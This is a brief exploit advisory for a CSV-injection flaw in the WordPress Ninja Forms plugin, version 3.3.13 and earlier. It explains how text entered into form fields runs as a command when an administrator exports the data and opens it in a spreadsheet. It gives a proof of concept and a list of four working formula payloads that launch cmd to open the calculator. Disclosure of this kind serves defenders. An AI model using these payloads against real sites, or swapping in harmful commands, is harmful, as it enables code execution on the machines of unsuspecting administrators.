  # 1. Technical Description:
  # WordPress Ninja Forms plugin version 3.3.13 and before are affected by Remote Code Execution
  # through the CSV injection vulnerability. This allows an application user
  # to inject commands as part of the fields of forms and these commands are executed when a user with
  # greater privilege exports the data in CSV and opens that file on his machine.
  
  # 2. Proof Of Concept (PoC):
  # Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the form,
  # for example, in name field.
  # When the user with high privileges logs in to the application, export
  # data in CSV and opens the
  # generated file, the command is executed and the calculator will run open
  # on the machine.
  
  # 3. Payloads:
  =SUM(1+1)*cmd|' /C calc'!A0
  +SUM(1+1)*cmd|' /C calc'!A0
  -SUM(1+1)*cmd|' /C calc'!A0
  @SUM(1+1)*cmd|' /C calc'!A0
